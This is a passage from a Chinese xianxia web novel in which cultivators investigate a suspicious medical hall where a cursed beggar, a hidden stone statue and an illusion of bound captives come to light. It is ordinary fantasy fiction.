这男子的前胸后背都布满了繁杂无比的痕迹,名不见经传的铭文被规整地刻在皮肤上,朱砂仿佛血液一样渗出,沾染得到处都是,十分触目惊心。不难看出是把人当成符箓,施以什么目的。
“人作丹书,这法子也只在典籍里看到过。”慕沉的手托着下巴作思考状,只觉得这纹路似曾相识。
尹平芜看向他,问:“恕我才疏学浅,什么典籍记载过这类门道?”
“当然是禁书邪典。哪有正经的在人身上下符咒?这一看就不是什么好东西。”慕沉理所当然道。
“……也是。”尹平芜随即两指并拢,在眉心划了道圈,对着符纹施术。还真探出了个所以然。
朱砂符文仿佛菟丝子一般扩散吞噬着他的经脉,想要将人的灵魂生生从□□中剥夺的肆虐。他可能自己也意识到这点,却只能眼睁睁地感受着疼痛与恶心。这‘救命’喊得不冤,若是再晚一些时日,此人只怕已经命丧黄泉了。
就算如今遇到了他们,哎,也只是延缓了时效罢了。若要彻底根除,必须得清楚他身上下的是什么咒。
他是一个连名字也没有的叫花子,除非做出什么穷凶极恶的大事,不然就毫无存在感。哪怕街坊都见过他,但他就算死了、消失了,也没有人会关心他是怎么死的、在哪消失的。因为他只是一个无名、无户、无业的乞丐。
像他这样的人恐怕还有更多吧,慕沉想,这种人最好拿捏,而拿捏他们的,往往是人们最不愿意去怀疑的——
仁心居,有点东西。
53. 仁心不若人心
慕沉吩咐让古平阳带着‘叫花子’找间医馆先看治外伤,自己则与尹平芜伪装探查,一个时辰后若是没发现什么或者遇到麻烦,都还有退路可走。
打听后才知道仁心居就是医馆,平常还会收留无家可归的人做工,不过并无工钱,只提供衣食住宿。确实符合人们对医馆的刻板印象。
就在下一个街道口拐角处,慕沉眼看古平阳往那个方向前进,这不是羊入虎口了吗……于是三步并两步赶上,大手一抬,扛起‘叫花子’。
尹平芜好像也想帮忙,手举到一半,见状,变得有些无处安放。
古平阳压力骤减,不免有些疑惑,结果对上他的视线,道:“师叔为何突然折返?”
“前面就是仁心居。”慕沉示意道,“我突然有一计。”
“什么?”
也不知是在应和他说的哪一句,不过也没多想,他怕了拍‘叫花子’接着说:“我们装作他失散多年的亲戚,也算是有借口当面和仁心居叫板,反正查无对证。”
“可破绽百出,仁心居难道不会猜忌吗?”
慕沉勾了勾唇,道:“要的就是他们猜忌。越是疑虑,就越容易露出马脚。”
他以为医馆只是类似一家铺子,没想到这整个拐角都是仁心居的地盘,甚至比他方才去的程府还要有排面些。它此时的大门敞开,前厅四周围着好几个房间,应该是药舍、诊房之类的,正中央放着一座假山,遮挡住了后院的入口。
现在未至正午,又不是什么人流稀少的时间,竟然没有人在前厅。慕沉突兀地清了清嗓,气势磅礴地吆喝道:“有没有人管管啊!”
声音极其洪亮,同行的两人始料不及,被吓了一跳。
“你们俩也装一下。”他低声对尹平芜使了使眼色,可真是难为他,用尽平生最好的演技表演怒态。
这一嗓子喊出了一人,慕沉粗略扫一眼,是修行之人,穿的也是普通的医袍,已经见怪不怪了。
医士打量着他们三人,还扛着一个不省人事的,面色狐疑地把他们带到一个房间,示意他们将伤患放在医床上。方才被扛着的时候不见面容,此时正眼一看,顿时愣了几秒。
“眼熟吗?”慕沉瞪着他,冷声质问。
“什么意思?这不是我们手底下的杂役吗?”医士莫名其妙,还有些气定神闲地与他对峙。
“他是我失散多年的侄子!没想到再见面变得人不人鬼不鬼的。”慕沉十分生气,“哼”了一声,“你们虐待他还这么理直气壮?!”
“话不能乱讲。他不过是一个叫花子,哪来的什么亲戚?”医士皱着眉头,审视了一下他,质疑道:“叔侄?你?那他又是以什么身份?”指了指古平阳。
“他是我侄子,你说什么身份?”慕沉不假思索。
师叔也是叔。古平阳理所当然地点点头道:“我叔!”
医士挑了挑眉,似乎明白了什么。于是点起尹平芜又问:“那他呢?”
尹平芜适时指了指慕沉,又指了指自己,惜字如金地说:“叔,侄。”
“他……也是我侄子。”慕沉着实噎到了,从来没觉得自己演戏这么尴尬过,硬着头皮责问:“你少管我有多少侄子,他现在这样就是你们仁心居搞的,要是不能私了,我就去告发你们!”
“好赖话都让你说尽。那你想如何?”听到‘告发’一词,医士还是有些忌惮。
“先治好他,不然你们就是庸医。”慕沉恢复冷静,漠然开口:“等他醒了,我听他的意见。”
这医士刚碰上‘叫花子’的手腕,就说治不好。趁他还没来得及怒骂,十分迅速地扒开‘叫花子’的衣服,反复向慕沉确认道:“你自己看,他哪来的伤?”
慕沉一看,‘叫花子’前胸的可怖咒痕已然不见,光滑平整如初。不用猜都知道对方动了手脚,便接着问:“那他衣服上为什么都是血迹?”
医士嗤笑一声,没过多想就说:“红色的就一定是血迹了?”
慕沉一听,眉头轻挑,步步紧逼道:“那是什么?”
医士顿时闭言,意识到不对劲。
“嗯?说啊,不是血迹,那是什么?”慕沉语气加重。
医士后退了半步。
“我说你怎么出来这么久,原来前厅有人闹事。”一声浑厚且不合时宜的声音吸引了所有人的注意力,其主人看起来经验老道,比这个被慕沉刁难的医士大了几轮。
来者不善。
果然如慕沉预料,此人被那名医士唤作“师傅”,来撑场面的。
医士看到自己的师傅来的那一刻,庆幸来得及时,不然再这么下去都不知道如何收场。
老师傅泰然走到医士身边,面不改色地回答他:“这究竟是什么,你应该问问你这个侄子。不过嘛,只怕你的这位侄子开不出口。”
说着,老师傅将两指搭在‘叫花子’的手腕,看样子是在测脉象,颇为惋惜地摇了摇头。
装的还挺是那么回事。有了方才那医士的前车之鉴,慕沉也伸出手放在另一只手腕处。
果然是个奸邪的。此时‘叫花子’经脉中有股暗劲蹿流,能将人神不知鬼不觉地置于死地。
他略微施术将灵力渡进,舒缓力道,两股力量在牵引交锋。抬眼犀利地直视那老师傅,他们目光交接,彼此都心知肚明对方在做什么。
老师傅意味不明地笑了下,随即慕沉便发觉‘叫花子’体内愈发紊乱,就像早已准备好的那样让人猝不及防,饶是他如何做都无法补救的,再这么下去‘叫花子’必将丧命!
他当机立断,另一只手凝息耍剑,扫过对方的脖颈,若是不想死就必须立马松手避开。
意料之中,老师傅敏捷地退至剑的范围之外。
“师傅!”医士心惊肉跳地脱口而出。
“不治也就算,灭口可不是什么好作风。”慕沉冷静地看着对面两人,暂时稳住‘叫花子’心脉,淡然松开右手把剑插回鞘中。
医士心有余悸破口大骂道:“你们什么意思?从进门开始就处处针对,怕不是没事找事!”
见他说着便欲动手,说时迟那时快,数枚银针已对慕沉三人袭来,也没放过躺在床上不省人事的‘叫花子’。
不知是意识到他们来者不善,趁他们抵
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住银针的间隙,“咔嗒”一声,身后的暗门竟开,老师傅并没有让他徒弟强出头,抓着医士的手强行撤离。
“……”一时间只有银针掉落发出的清脆声响。
慕沉并没看到暗门是如何开启的,逛了一圈也没发现机关所在,就像凭空出现。
“师叔,他好像快不行了。”古平阳探了探‘叫花子’的鼻息,微弱得几乎没有。
他回到床边,上手一探,沉声道:“尚有一丝生机,只是不知他身上究竟是哪门子的咒术,我有点无从下手。”说着,他也只能用自己的术法尽一点微末之力。
尹平芜见状,不慌不忙地帮慕沉先稳住‘叫花子’,总算出声说:“他只要撑到能见着我们阁主,就不会死。”
慕沉终于忍不住问:“你们阁主究竟是何许人也?”
一次两次也就罢了,尹平芜那是百说不厌的,把他阁主吹嘘得那么神乎其神——连慕沉听了都要觉得绝音阁阁主无所不能了。
尹平芜讪讪一笑,手上的动作也没停下,故弄玄虚道:“让慕仙师失望了,我不能说,阁主不喜我们背后议论他。”
“他难道还能无所不知不成?”慕沉挑了挑眉,不以为然。
“慕仙师说对了,就算现在不知道,他早晚会知道,我干脆少说少错。”
心脉是暂时稳住了,慕沉便收手松懈几分,有些好笑着说:“听着感觉你们阁主也不好相与啊,这不是随随便便都能触及到他的逆鳞?”
尹平芜不说话了。他感受到慕沉话里的不怀好意,心中发怵,日后让阁主知道了,一定没好果子吃……
哒哒、哒哒……
外面的脚步声由远及近,并无刻意隐藏。尹平芜有种劫后余生的感觉,将视线集中在门外。
不止一个人,但带头的很是眼熟。
古平阳上前对他师傅行了一礼。
没错,是何初带的一众鸿琛堂子弟,他看了一圈慕沉他们三人,毫不掩饰的诧异问:“你们怎么这么快找到这里来的?”
慕沉如实答道:“原本是要找那尊石像的线索,但被‘拦’在了半路。”
何初找到这里,说明此处有他们要找的最后一个石像,偏偏那么凑巧——慕沉有理由怀疑‘叫花子’身上的咒痕与风荷举一系列的事脱不开关系了。
有古平阳在旁边滔滔不绝地讲述方才跟慕沉所经历的事情,倒省的他作多余解释。何初认真地听着,不时还点点头,但他的目光同脚步四处游荡,面不改色地观察仁心居的构造,比慕沉刚来时都要仔细。
结果还真让何初发现了——映入眼帘的假山正中镶嵌着石像,跟他之前看到的别无二致。
明明是最为显眼的地方,他没道理注意不到。于是慕沉试探着退了一步,离假山大概一丈远之外,石像骤然变得有些模糊,几乎是个完整的假山。这下便明了了,原来是障眼法。
石像如果只是普通的供奉,仁心居根本没必要掩藏,它一个医馆,莫名收容了很多“三无”人士,跟复生阵又牵扯不清关系,实在让人很难相信它是正经行当,至少在慕沉这里已经被归类为“邪道”了。
54. 鸿琛堪比红尘
慕沉正要伸手触碰石像,想验证复生阵的虚实,不料就在刹那间,一群人从假山背面涌出,整齐划一地跑到各个房间门前站定,这训练有素得都不像救人的医士。
其实就是把慕沉这些擅入者团团包围,制止住了慕沉的动作,喝令他退后。
“你们是什么人?既不是来治病看诊的,何故擅闯?”说话的人语气还有些冲,身着黑袍,看样子应该是仁心居里数一数二的医宗。
何初按下疑虑不表,打圆场道:“不知阁下可听说过‘刨坟’一事?受鸿琛堂与绝音阁之托,特意追查到此,正是发现这尊石像的端倪,不妨方便你我一二。”
“可以。”也不知是听了哪一句,医宗的面色和缓,竟是答允下来。
这么好说话?慕沉不信邪,问:“诊室里面躺着的是之前被你们收留的人,被我们找到的时候就已经奄奄一息,而且可怖的是恶咒布满全身,看起来跟你们脱不了关系。”
何初佯装惊诧:“哦?竟有此事!”其实他来的时候古平阳就跟他解释得大差不差,还在这有板有眼地演了起来,慕沉实在没眼看。
“哈哈。”医宗笑得十分不走心,牵强解释说:“道友说笑了,仁心居向来只做善举,怎么可能干那样的勾当。也许是你看错了。”
“这理由实在站不住脚,大庭广众之下,我怎么可能看错。这么说,你不承认?”
“莫须有的事,如何承认。”医宗勾了勾唇角,手一挥,后院紧闭的大门突然打开,一览无余。他泰然面对慕沉,接着道:“仁心居收留那些乞丐,也只是看他们无家可归,可怜而已。我们供他们生路,他们帮医士们干点杂活,都是你情我愿,两全其美的。”
院内中确实藏着许多人,不尽然都是乞丐,衣着打扮也分了个三六九等。不过还真如医宗所言,各自井然有序地做自己的事,和睦得不像话。医宗目光放在那些人身上,叹息道:“他们从前被欺凌惯了,平素里几乎不外露,因为怕了。干脆我们就给这些人单独建了一个院落,看起来也就神秘了些,其实真没什么。”
说得如此严丝合缝,证据也仿佛摆在那里,慕沉分不清真真假假,姑且当作此医宗不知情,但方才那师徒绝对是有问题的。
“原来是误会一场。”慕沉按下不表,笑着转移话题,“仁心居名声在外,想来医脉相承,宗祠香火鼎盛。近几日可曾出现过什么不对劲?”
“道友是不是道听途说了,仁心居不过近几年建立的小医馆,医士也并非同根同源,宗祠未立,香火更是子虚乌有。”
这不对吧。
若是根据之前的推测,风荷举唤起复生阵,需具备的条件必然是魂灵聚地。石像亦不可能稀松平常地出现于此。医宗此言既出,已经让他们先后的推论有悖——
要么何初找错了地方,仁心居不过是个烟雾弹;要么风荷举不是根据魂灵以及石像设阵。
但也没人能证明此医宗说的句句属实,而且,“风荷举刨祖坟”一事在石边镇几乎家喻户晓,他要是对慕沉有所防备不会轻易透露底细,很显然,医宗似乎对此事的风浪毫不知情。
不过医宗是个精明的,见慕沉若有所思,立刻找补道:“这石像打我等盘下仁心居时便嵌在假山里,多年来从未有过不妥,诸位若不放心,可自便看查。”
这话说得实在巧妙。要是真有什么问题,他们也随时可以择出去。
慕沉来此的本意虽不在这,却也是误打误撞找到了石像的下落。“既然如此,那再核实一番也无妨,确保万无一失。”
他愈发不信医宗的言辞,这里的石像多年前就出现,难不成风荷举早早便布下局,最近才有所行动吗?那显然是不现实的。
他与何初对视一眼,作势来到假山,竖起两指念诀,石像周围光晕渐显,正当术法即成之际,仁心居又来了一个不速之客。
“都是一场误会!”来人看起来千里迢迢,势如破竹地大喊一声,暗含内劲,连慕沉都不可避免地分神了。
何初急忙扔扇,截断了他的咒。对于任何施法者来说,分神都是大忌。“没事吧?”
他接住折扇,还给对方,气息平和道:“无伤大雅。”
别过头一看,何初有些愠色,但看到来的人似乎在意料之外,收回快要脱口而出的责怪,变得略微闪烁其词:“方长老怎么来此,莫不是鸿琛堂出了什么事?”
被何初这么一提醒,慕沉想起来此人是何初的师弟,他与方子旭还有过几面之缘,不过那都是很久以前的事情了。
慕沉往何初身后瞄了几眼,原先的十人弟子分队如今只有九人,还有一个在方子旭后边。人什么时候少的,马上就不言而喻。
“没有,没有。”方子旭意识到自己做了什么,有些理亏,赔笑一声,“我还以为你们打起来了,一时间失态。”
“都已经是长老,你怎么还跟以前一样莽撞?我差点就要骂人了。”何初白了一眼,吐槽道。又看了眼医宗和方子旭,问:“你们认识?”
方子旭目光微动,凑到何初身边,下意识用手挡着,低声说:“也不算认识,就是仁心居背靠鸿琛堂,出了什么事掌门师兄那里不好交代。走个形式就行,别伤了和气。”
“这不是调查风荷举之事吗?又不是做什么出格的事。”何初不以为然,顿时灵光乍想,嗅出一丝不同寻常的语气,便单独将对方从人群中带至一边,变得严肃起来。“……方师弟,你实话告诉我,鸿琛堂是不是又在搞什么幺蛾子?”
“师兄真是说笑了,我除了说‘没有’,还能说什么?”方子旭淡淡地笑了一下,略有些敷衍。
见何初说自个儿的悄悄话去了,几人也没干等着,医宗自告奋勇提出要试着医治‘叫花子’,慕沉想着大庭广众之下他应该不敢乱动手脚,便同医宗一道进去。
这已经是‘叫花子’今天被把脉的第三次了,半晌,医宗摸出了点门道,沉吟一声,“嗯,还有得治,不过暂时不能奔波,得留在医馆看治。”
“这么有把握?那你可看出什么问题?”慕沉表示不信任的模样。留在这里,那岂不是随时虎视眈眈。
医宗对‘叫花子’扎了几针,同时在针上施了灵力,一看就相当有手法。
看样子并没有耍花样。
他手上专心致志,头也不抬地反驳慕沉道:“这是自然。道友这话就不中听了,那医者修行医术的初
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衷,不就是为了治病救人吗?若非如此,又何必钻研此道,玄法剑术才是大势所趋。”
此一番言论叫慕沉无法辩驳,也让他愈发捉摸不透此人。慕沉只感触说:“若每个人都有你这样的觉悟,恐怕这世间都要清净几分。”
医宗听后勾起唇角,“我倒是希望如此。不过我管不了人心,只能尽自己分内之事。”
“可你的同僚也许不是这么想的。”慕沉意指那已经不知所踪的师徒二人。
“不,”医宗抬眼,意味深长地看着他,十分笃定道,“同僚们跟我是一样的。”
说的越多,底细迟早会被摸清,医宗深知这个道理,转而分析‘叫花子’目前的状况,对他说:“他身上的咒虽不常见,破解却是稀松平常。只要用药浴洗髓净脉,让他在这待上几天,就会逐渐恢复如初。”
“要真是这么简单,哪还用得着你。”慕沉此前当然知道这个法子,但他探查经脉之时便注意到咒法相当容易反噬,恐怕还没洗清之时咒就已经蔓延至全身,发作而亡。因此他觉得究其源头、直接用术法除去是最快捷安全的办法了。
“自然没有那么简单。”医宗意料之内,矜傲地笑了一下,告诉他,“药引子属实难得,放眼石边镇恐怕只有仁心居有了,也不可能轻易交付外人,只要道友信得过我,不出五日便还你一个正常人。”
慕沉未经一秒就脱口而出:“信不过。”
这么刻薄吗?医宗低沉地笑出声,“那恕我无能为力了。”
不知怎的,何初与方子旭吵起来,声音大得不容忽视,慕沉被这么一打搅,方才想起石像的事。从鸿琛堂出来开始,估摸着已经过去了四五个时辰。桩桩件件仿佛都是烟雾弹,想着法子拖延时间。
“慕仙师快来!”尹平芜在门外喊了一声。
慕沉与医宗对望,视线交汇,犹豫了几秒钟还是出门朝尹平芜走去。
他顺道看了眼何初,对方吵得正起劲,跟方子旭有来有回的,无非又是谈到他们的师傅怎么怎么样,以及旧事重提,方子旭又拿当年何初无故离开师门做文章。小辈们也不好劝架,在一旁欲言又止。其实两人见面没聊几句就会这样,慕沉已经见怪不怪了。
“出什么事了?”慕沉问道,不由得感叹这里只有尹平芜是干实事的。
霎时间,方子旭停止了与何初的对谈,朝尹平芜袭去。他是看见了尹平芜的手即将触碰到那尊石像,被慕沉尽收眼底。
这下便了然,怪不得方子旭不请自来,三番两次地阻止,原来是石像碰不得。
慕沉目光凌厉,步法轻敏地抵住方子旭的攻击。拦不住尹平芜伸手触及石像,仿佛像打开什么机关一样,毫无预兆地进入幻境。可周围的场景与现实一般无二,仁心居还是这个仁心居。
既然如此,又怎么看出他们在幻境之中?
慕沉不可置信地看着此刻敞开的后院,犹如被怨气缠绕的猩红遍布,无处遁形。一群人双手被绑着吊在空中,他向前走了几步,便有人察觉,微微颤颤地抬起头,眼神早已是空洞麻木。剩下的连看他的力气都没有。
噗通,噗通,他心跳变得有些快,幻视当年在鸿琛堂的诡异祭坛。